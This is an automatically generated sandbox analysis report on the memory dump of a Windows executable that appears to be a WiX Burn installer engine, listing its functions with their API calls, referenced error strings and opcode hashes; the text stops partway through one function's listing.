Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Process$CompareCurrentErrorLastPathSessionStringTemp
String ID: %u\$Failed to copy temp folder.$Failed to format session id as a string.$Failed to get length of session id string.$Failed to get length of temp folder.$Failed to get temp folder.$crypt32.dll$logging.cpp
API String ID: 2407829081-3274134579
Opcode ID: 58a4f57265d3f6b6f825e0f30b514fedd0125c4740b74e8711299419f4ce9a7e
Instruction ID: 340a7f8be76e8f2af9e00ac932774218a44cd4c445801fa9dfec8cf71d992ce2
Opcode Fuzzy Hash: 58a4f57265d3f6b6f825e0f30b514fedd0125c4740b74e8711299419f4ce9a7e
Instruction Fuzzy Hash: A241B672D8523DABDB219B908D49FEA7B78AF50720F118191FE18B7241DB749F848BD0

Function 009A7FA5 Relevance: 21.2, APIs: 2, Strings: 12, Instructions: 216COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000000,00000000,00000000,?,000000B9,00000002,?,00000000,00000000,00000000,00000000,00000001,00000000,00000002,000000B9), ref: 009A7FC2
LeaveCriticalSection.KERNEL32(?), ref: 009A81EA

Strings

Failed to get string., xrefs: 009A81B5
feclient.dll, xrefs: 009A809D, 009A80F3, 009A8134
Failed to write variable name., xrefs: 009A81D1
Failed to get numeric., xrefs: 009A81BC
Failed to write literal flag., xrefs: 009A81C3
Failed to write variable value as number., xrefs: 009A8194
Failed to write variable value as string., xrefs: 009A81AE
Failed to write variable value type., xrefs: 009A81CA
Failed to get version., xrefs: 009A819B
Unsupported variable type., xrefs: 009A81A7
Failed to write variable count., xrefs: 009A7FDD
Failed to write included flag., xrefs: 009A81D8

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: Failed to get numeric.$Failed to get string.$Failed to get version.$Failed to write included flag.$Failed to write literal flag.$Failed to write variable count.$Failed to write variable name.$Failed to write variable value as number.$Failed to write variable value as string.$Failed to write variable value type.$Unsupported variable type.$feclient.dll
API String ID: 3168844106-2118673349
Opcode ID: e51db382b9ee0154c02e5f88e0a8dcf65a60cef4ebe0bbd96f60be485bb25100
Instruction ID: 8be1a924f48e25c259c41fd49dae0009cb304ded7df9b5b4f836e3935edf2f6f
Opcode Fuzzy Hash: e51db382b9ee0154c02e5f88e0a8dcf65a60cef4ebe0bbd96f60be485bb25100
Instruction Fuzzy Hash: 7471B172D0826AEFCB129FA4C841BAF7BA8FF45314F108526F90167250DB34DE129BD1

Function 009B97B2 Relevance: 21.1, APIs: 3, Strings: 9, Instructions: 123fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000005,00000000,00000003,08000000,00000000,00000000,00000000,?,009BA843,00000000,00000000,00000000,?,00000000), ref: 009B97CD
GetLastError.KERNEL32(?,009BA843,00000000,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 009B97DD

Part of subcall function 009E4102: Sleep.KERNEL32(?,00000000,?,009B85EE,?,?,00000001,00000003,000007D0,?,?,?,?,?,?,009A4DBC), ref: 009E4119

CloseHandle.KERNEL32(00000000,00000000,00000001,00000003,000007D0,?,00000000,00000000,00000000), ref: 009B98E9

Strings

Failed to move %ls to %ls, xrefs: 009B98C1
Failed to copy %ls to %ls, xrefs: 009B98D7
%ls payload from working path '%ls' to path '%ls', xrefs: 009B9894
Failed to verify payload signature: %ls, xrefs: 009B9838
Failed to open payload in working path: %ls, xrefs: 009B980C
Moving, xrefs: 009B987F
cache.cpp, xrefs: 009B9801
Failed to verify payload hash: %ls, xrefs: 009B9875
Copying, xrefs: 009B9888, 009B9893

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseCreateErrorFileHandleLastSleep
String ID: %ls payload from working path '%ls' to path '%ls'$Copying$Failed to copy %ls to %ls$Failed to move %ls to %ls$Failed to open payload in working path: %ls$Failed to verify payload hash: %ls$Failed to verify payload signature: %ls$Moving$cache.cpp
API String ID: 1275171361-1604654059
Opcode ID: 08cba6f9722b486351db0ecd45730acaa3a77c55ea17e5ba7eb6f73c9801aa26
Instruction ID: 0a4b6d38ce7963a0878cd25b4c7d66ec53ddc459d1e70126e76644b437e78019
Opcode Fuzzy Hash: 08cba6f9722b486351db0ecd45730acaa3a77c55ea17e5ba7eb6f73c9801aa26
Instruction Fuzzy Hash: C2316C729606797BCA322A559D4AFFF2A5CDF82F70F010114FF107B281D2A0DC0096E1

Function 009A65C0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 118COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000), ref: 009A65FC

Part of subcall function 009E0ACC: GetModuleHandleW.KERNEL32(kernel32,IsWow64Process,?,?,?,009A5EB2,00000000), ref: 009E0AE0
Part of subcall function 009E0ACC: GetProcAddress.KERNEL32(00000000), ref: 009E0AE7
Part of subcall function 009E0ACC: GetLastError.KERNEL32(?,?,?,009A5EB2,00000000), ref: 009E0AFE

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 009A6628
GetLastError.KERNEL32 ref: 009A6636
GetSystemWow64DirectoryW.KERNEL32(?,00000104,00000000), ref: 009A666E
GetLastError.KERNEL32 ref: 009A6678
GetSystemDirectoryW.KERNEL32(?,00000104), ref: 009A66BB
GetLastError.KERNEL32 ref: 009A66C5

Strings

Failed to get 32-bit system folder., xrefs: 009A66A6
Failed to backslash terminate system folder., xrefs: 009A6708
Failed to get 64-bit system folder., xrefs: 009A6664
variable.cpp, xrefs: 009A665A, 009A669C
Failed to set system folder variant value., xrefs: 009A6724

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$DirectorySystem$AddressCurrentHandleModuleProcProcessWow64
String ID: Failed to backslash terminate system folder.$Failed to get 32-bit system folder.$Failed to get 64-bit system folder.$Failed to set system folder variant value.$variable.cpp
API String ID: 325818893-1590374846
Opcode ID: f6ae54f008ee6f99bf1d855ad0ede324874dc61b884b6a047b783db43d82b64d
Instruction ID: f6535ee2d32dc9f7b8471ee09d728c028a71b8e9d58aa0b95a0050d1f6ec3d2a
Opcode Fuzzy Hash: f6ae54f008ee6f99bf1d855ad0ede324874dc61b884b6a047b783db43d82b64d
Instruction Fuzzy Hash: FE313672D4233967CB319B618C4DB9B37ACAF02764F094555BD04BB180DB78DD408AE1

Function 009B3F9B Relevance: 19.7, APIs: 1, Strings: 12, Instructions: 220sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 009B3AA6: RegCloseKey.ADVAPI32(00000000,SOFTWARE\Policies\Microsoft\Windows\Installer,00020019,00000001,feclient.dll,?,?,?,009B3FB5,feclient.dll,?,00000000,?,?,?,009A4B12), ref: 009B3B42

Sleep.KERNEL32(000007D0,00000001,feclient.dll,?,00000000,?,?,?,009A4B12,?,?,009EB488,?,00000001,00000000,00000000), ref: 009B404C

Strings

Failed to copy full log path to prefix., xrefs: 009B41AF
log, xrefs: 009B3FF3
Setup, xrefs: 009B3FF9
feclient.dll, xrefs: 009B3FAF, 009B405C
clbcatq.dll, xrefs: 009B4185
Failed to get current directory., xrefs: 009B402E
Failed to copy log path to prefix., xrefs: 009B416E
Failed to open log: %ls, xrefs: 009B40C8
Failed to get non-session specific TEMP folder., xrefs: 009B40F6
Failed to copy log extension to extension., xrefs: 009B4191
msasn1.dll, xrefs: 009B4162, 009B41A3
crypt32.dll, xrefs: 009B3FF2, 009B4057, 009B405F, 009B40C6, 009B4100, 009B4141, 009B4160, 009B419E, 009B41C8

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseSleep
String ID: Failed to copy full log path to prefix.$Failed to copy log extension to extension.$Failed to copy log path to prefix.$Failed to get current directory.$Failed to get non-session specific TEMP folder.$Failed to open log: %ls$Setup$clbcatq.dll$crypt32.dll$feclient.dll$log$msasn1.dll
API String ID: 2834455192-2673269691
Opcode ID: 34627c8cf1c6d0e6a64069339224fe027ec6ca5002cb4249da31517749a3259e
Instruction ID: 1f79b7397a5550ecb179ee572870caa306700ead95bbf5b27e70da607260657b
Opcode Fuzzy Hash: 34627c8cf1c6d0e6a64069339224fe027ec6ca5002cb4249da31517749a3259e
Instruction Fuzzy Hash: C361F471A04219BBDF22AF68CE42BB677BCEF64360B048165FD00DB142E774ED90A790

Function 009A6DB9 Relevance: 19.7, APIs: 2, Strings: 11, Instructions: 166COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000001,?,00000000,009A5445,00000006,?,009A82B9,?,?,?,00000000,00000000,00000001), ref: 009A6DC8

Part of subcall function 009A56A9: CompareStringW.KERNELBASE(0000007F,00001000,?,000000FF,version.dll,000000FF,?,?,00000000,009A6595,009A6595,?,009A563D,?,?,00000000), ref: 009A56E5
Part of subcall function 009A56A9: GetLastError.KERNEL32(?,009A563D,?,?,00000000,?,?,009A6595,?,009A7F02,?,?,?,?,?), ref: 009A5714

LeaveCriticalSection.KERNEL32(00000001,?,00000000,00000001,00000000,00000000,?,009A82B9), ref: 009A6F59

Strings

Failed to set value of variable: %ls, xrefs: 009A6F41
Setting numeric variable '%ls' to value %lld, xrefs: 009A6EFA
Setting hidden variable '%ls', xrefs: 009A6E86
variable.cpp, xrefs: 009A6E4B
Setting string variable '%ls' to value '%ls', xrefs: 009A6EED
Setting variable failed: ID '%ls', HRESULT 0x%x, xrefs: 009A6F6B
Unsetting variable '%ls', xrefs: 009A6F15
Failed to insert variable '%ls'., xrefs: 009A6E0D
Attempt to set built-in variable value: %ls, xrefs: 009A6E56
Failed to find variable value '%ls'., xrefs: 009A6DE3
Setting version variable '%ls' to value '%hu.%hu.%hu.%hu', xrefs: 009A6ED0

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CriticalSection$CompareEnterErrorLastLeaveString
String ID: Attempt to set built-in variable value: %ls$Failed to find variable value '%ls'.$Failed to insert variable '%ls'.$Failed to set value of variable: %ls$Setting hidden variable '%ls'$Setting numeric variable '%ls' to value %lld$Setting string variable '%ls' to value '%ls'$Setting variable failed: ID '%ls', HRESULT 0x%x$Setting version variable '%ls' to value '%hu.%hu.%hu.%hu'$Unsetting variable '%ls'$variable.cpp
API String ID: 2716280545-445000439
Opcode ID: c1c147f4e6803ed96aea60fcec3d81dde0f7dd6982906043a6ea53272857cb9e
Instruction ID: b28504063fdea29210d59d881527c80df6e6e14bad4be10afe33777fa7818d8c
Opcode Fuzzy Hash: c1c147f4e6803ed96aea60fcec3d81dde0f7dd6982906043a6ea53272857cb9e
Instruction Fuzzy Hash: DE5109B1A40255EBDB319F2ACC4AF6B3BACEBD7714F290419F844662C2C275DC51CAE1

Function 009B2C1C Relevance: 19.5, APIs: 1, Strings: 10, Instructions: 299COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(00000000,00000001,006C0064,000000FF,002C002B,000000FF,?,00000000,?,wininet.dll,?,crypt32.dll,?,?,?,00000000), ref: 009B2C8A

Strings

wininet.dll, xrefs: 009B2ED7
Failed to add dependents ignored from command-line., xrefs: 009B2D3F
Failed to allocate registration action., xrefs: 009B2CF3
Failed to add registration action for dependent related bundle., xrefs: 009B2F8E
Failed to check for remaining dependents during planning., xrefs: 009B2E30
Failed to add registration action for self dependent., xrefs: 009B2F57
Failed to create the string dictionary., xrefs: 009B2CC3
Failed to add dependent bundle provider key to ignore dependents., xrefs: 009B2DF4
Failed to add self-dependent to ignore dependents., xrefs: 009B2D0E
crypt32.dll, xrefs: 009B2CD5, 009B2DCF, 009B2EC4, 009B2F39

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CompareString
String ID: Failed to add dependent bundle provider key to ignore dependents.$Failed to add dependents ignored from command-line.$Failed to add registration action for dependent related bundle.$Failed to add registration action for self dependent.$Failed to add self-dependent to ignore dependents.$Failed to allocate registration action.$Failed to check for remaining dependents during planning.$Failed to create the string dictionary.$crypt32.dll$wininet.dll
API String ID: 1825529933-1705955799
Opcode ID: 4e83f7a4f5a1f7e7dc1380c43a7011744ca776b20e4f36abe7df30250bae9a27
Instruction ID: 56ca10faabf381072a1cce2e5abe42f9e1fe56b43a3a1d85f4e85284c50bef8e
Opcode Fuzzy Hash: 4e83f7a4f5a1f7e7dc1380c43a7011744ca776b20e4f36abe7df30250bae9a27
Instruction Fuzzy Hash: 9AB16C70A0021AEBCF2A9F65CA41BEEBBB9FF44720F108169F815AB251C734D950CBD1

Function 009BF90B Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 187COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 009BF947
UuidCreate.RPCRT4(?), ref: 009BFA2A
StringFromGUID2.OLE32(?,?,00000027), ref: 009BFA4B
LeaveCriticalSection.KERNEL32(?,?), ref: 009BFAF4

Strings

Failed to set update bundle., xrefs: 009BFACE
Failed to create bundle update guid., xrefs: 009BFA37
Failed to default local update source, xrefs: 009BF9B7
update\%ls, xrefs: 009BF9A3
Failed to convert bundle update guid into string., xrefs: 009BFA6A
EngineForApplication.cpp, xrefs: 009BFA60
Failed to recreate command-line for update bundle., xrefs: 009BFA12

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CriticalSection$CreateEnterFromLeaveStringUuid
String ID: EngineForApplication.cpp$Failed to convert bundle update guid into string.$Failed to create bundle update guid.$Failed to default local update source$Failed to recreate command-line for update bundle.$Failed to set update bundle.$update\%ls
API String ID: 171215650-2594647487
Opcode ID: fbaccd7f9b093040d2ab5542ad8c1c827589262b8c19e67a2fc224fbd45c1a4f
Instruction ID: 8918f494abb80de25638717440850b741f7c85190d14d4265b13df89b9a9f98e
Opcode Fuzzy Hash: fbaccd7f9b093040d2ab5542ad8c1c827589262b8c19e67a2fc224fbd45c1a4f
Instruction Fuzzy Hash: 86619F31A40219ABCF259FA4CD55FEEBBB8EF48720F114179F908AB252D7719C10CB91

Function 009A4AE5 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 144windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 009A4C64
PostMessageW.USER32(?,00000010,00000000,00000000), ref: 009A4C75

Strings

Failed to check global conditions, xrefs: 009A4B49
Failed to query registration., xrefs: 009A4BAE
Failed while running , xrefs: 009A4C2A
Failed to set layout directory variable to value provided from command-line., xrefs: 009A4C06
Failed to open log., xrefs: 009A4B18
Failed to set action variables., xrefs: 009A4BC4
WixBundleLayoutDirectory, xrefs: 009A4BF5
Failed to create the message window., xrefs: 009A4B98
Failed to set registration variables., xrefs: 009A4BDE

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: MessagePostWindow
String ID: Failed to check global conditions$Failed to create the message window.$Failed to open log.$Failed to query registration.$Failed to set action variables.$Failed to set layout directory variable to value provided from command-line.$Failed to set registration variables.$Failed while running $WixBundleLayoutDirectory
API String ID: 3618638489-3051724725
Opcode ID: 0c1340eecd2b9da9ca65565ab18e4f15d7d7f79e702431d6d470cdca463865d9
Instruction ID: 0910c942d1976cc3b175af9763c400c759521af0b4f6c56072d06db34a2b680b
Opcode Fuzzy Hash: 0c1340eecd2b9da9ca65565ab18e4f15d7d7f79e702431d6d470cdca463865d9
Instruction Fuzzy Hash: 2641D47160161EBBCB17AA60CD46FFBB66CFBC6764F004615B858A6150DBE0EC509AE0

Function 009BF051 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 125COMMON

Download Yara Rule

APIs

Part of subcall function 009A394F: GetProcessHeap.KERNEL32(?,000001C7,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3960
Part of subcall function 009A394F: RtlAllocateHeap.NTDLL(00000000,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3967

EnterCriticalSection.KERNEL32(?,00000014,00000001), ref: 009BF06E
LeaveCriticalSection.KERNEL32(?), ref: 009BF19B

Strings

UX requested unknown approved exe with id: %ls, xrefs: 009BF0CE
Failed to copy the id., xrefs: 009BF100
Engine is active, cannot change engine state., xrefs: 009BF089
Failed to post launch approved exe message., xrefs: 009BF186
Failed to copy the arguments., xrefs: 009BF12D
EngineForApplication.cpp, xrefs: 009BF17C

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CriticalHeapSection$AllocateEnterLeaveProcess
String ID: Engine is active, cannot change engine state.$EngineForApplication.cpp$Failed to copy the arguments.$Failed to copy the id.$Failed to post launch approved exe message.$UX requested unknown approved exe with id: %ls
API String ID: 1367039788-528931743
Opcode ID: 2e7e6d9a353c29ede4c0cd784c6be72726e0abc5186b50b3510e112d88fc3621
Instruction ID: 84771a04dc22d9fcb7ee74fea221039e3f6a5a6512fea0340f19992d1ac91a68
Opcode Fuzzy Hash: 2e7e6d9a353c29ede4c0cd784c6be72726e0abc5186b50b3510e112d88fc3621
Instruction Fuzzy Hash: FD31B072A48229EBCB219F68DD59EAB77A8EF44730B018825FD04EF251EB75DD0087D0

Function 009B969D Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 102fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000005,00000000,00000003,08000000,00000000,00000000,00000000,?,009BA7D4,00000000,00000000,00000000,?,00000000), ref: 009B96B8
GetLastError.KERNEL32(?,009BA7D4,00000000,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 009B96C6

Part of subcall function 009E4102: Sleep.KERNEL32(?,00000000,?,009B85EE,?,?,00000001,00000003,000007D0,?,?,?,?,?,?,009A4DBC), ref: 009E4119

CloseHandle.KERNEL32(00000000,00000000,00000001,00000003,000007D0,?,00000000,00000000,00000000), ref: 009B97A4

Strings

Failed to move %ls to %ls, xrefs: 009B977C
%ls container from working path '%ls' to path '%ls', xrefs: 009B974F
Failed to copy %ls to %ls, xrefs: 009B9792
Failed to open container in working path: %ls, xrefs: 009B96F5
Moving, xrefs: 009B973A
cache.cpp, xrefs: 009B96EA
Failed to verify container hash: %ls, xrefs: 009B9727
Copying, xrefs: 009B9743, 009B974E

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseCreateErrorFileHandleLastSleep
String ID: %ls container from working path '%ls' to path '%ls'$Copying$Failed to copy %ls to %ls$Failed to move %ls to %ls$Failed to open container in working path: %ls$Failed to verify container hash: %ls$Moving$cache.cpp
API String ID: 1275171361-1187406825
Opcode ID: 8a773e4ac7a22495436ce77f50a77bbe6b8c32e0d78447129095461766461973
Instruction ID: d922a8627b5c1aedd74cbc2a1c076f43f6e80074e2c2d6be494273df3b28da33
Opcode Fuzzy Hash: 8a773e4ac7a22495436ce77f50a77bbe6b8c32e0d78447129095461766461973
Instruction Fuzzy Hash: 0A215A32A602697BDA321A558DC6FFB269CDFC1B70F100114FF10BF2C1D691AD0186E1

Function 009A6F85 Relevance: 18.2, APIs: 2, Strings: 10, Instructions: 227COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000000,?,00000000,?,00000000,?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 009A6FB2
LeaveCriticalSection.KERNEL32(?), ref: 009A71BE

Strings

Failed to read variable value as string., xrefs: 009A718B
Failed to read variable count., xrefs: 009A6FD2
Failed to read variable included flag., xrefs: 009A71AE
Failed to read variable name., xrefs: 009A71A7
Failed to read variable value as number., xrefs: 009A7178
Failed to set variable., xrefs: 009A7192
Failed to read variable value type., xrefs: 009A71A0
Failed to set variable value., xrefs: 009A7171
Unsupported variable type., xrefs: 009A7184
Failed to read variable literal flag., xrefs: 009A7199

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: Failed to read variable count.$Failed to read variable included flag.$Failed to read variable literal flag.$Failed to read variable name.$Failed to read variable value as number.$Failed to read variable value as string.$Failed to read variable value type.$Failed to set variable value.$Failed to set variable.$Unsupported variable type.
API String ID: 3168844106-528957463
Opcode ID: 9c86a80c4ab93e77ca430550cd14b0cbf1e539cc803266f3968d94096b268a90
Instruction ID: d7c150664699f8fbccca5d7c7985e5a56716f3c19b2126ab64e426b2a5328325
Opcode Fuzzy Hash: 9c86a80c4ab93e77ca430550cd14b0cbf1e539cc803266f3968d94096b268a90
Instruction Fuzzy Hash: 4471AE31C0925EAFCF12DAE4CC46FAEBBB9EB86714F104526F900A6250D6349E109BE0

Function 009E44D1 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 255fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000005,00000000,00000003,08000080,00000000,?,?,00000000,?,00000000,?,?,?), ref: 009E4550
GetLastError.KERNEL32 ref: 009E4566
GetFileSizeEx.KERNEL32(00000000,?), ref: 009E45BF
GetLastError.KERNEL32 ref: 009E45C9
SetFilePointer.KERNEL32(00000000,?,?,00000001), ref: 009E461D
GetLastError.KERNEL32 ref: 009E4628
ReadFile.KERNEL32(?,?,?,?,00000000,?,00000000,?,?,00000001), ref: 009E4717
CloseHandle.KERNEL32(?), ref: 009E478A

Strings

fileutil.cpp, xrefs: 009E44F1, 009E45A8, 009E45E9, 009E476D

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: File$ErrorLast$CloseCreateHandlePointerReadSize
String ID: fileutil.cpp
API String ID: 3286166115-2967768451
Opcode ID: bfed8db76f517fac59576bb780bfd35f2858fac7d0959d98c3c8020aa91abcb6
Instruction ID: d31bc608844eaa36bcb9358141766b7b0159baa0f27ec1cc09684a90df75e3f3
Opcode Fuzzy Hash: bfed8db76f517fac59576bb780bfd35f2858fac7d0959d98c3c8020aa91abcb6
Instruction Fuzzy Hash: 3B812932A402A6EBDB238E5B8C45B7F769CAF41B60F114529FD15EF290DB74DD009AD0

Function 009A3076 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 210COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsW.KERNEL32(00000040,00000000,00000040,00000000,00000040,00000000,00000000), ref: 009A30C1
GetLastError.KERNEL32 ref: 009A30C7
ExpandEnvironmentStringsW.KERNEL32(00000040,00000000,00000040,00000000,00000000), ref: 009A3121
GetLastError.KERNEL32 ref: 009A3127
GetFullPathNameW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 009A31DB
GetLastError.KERNEL32 ref: 009A31E5
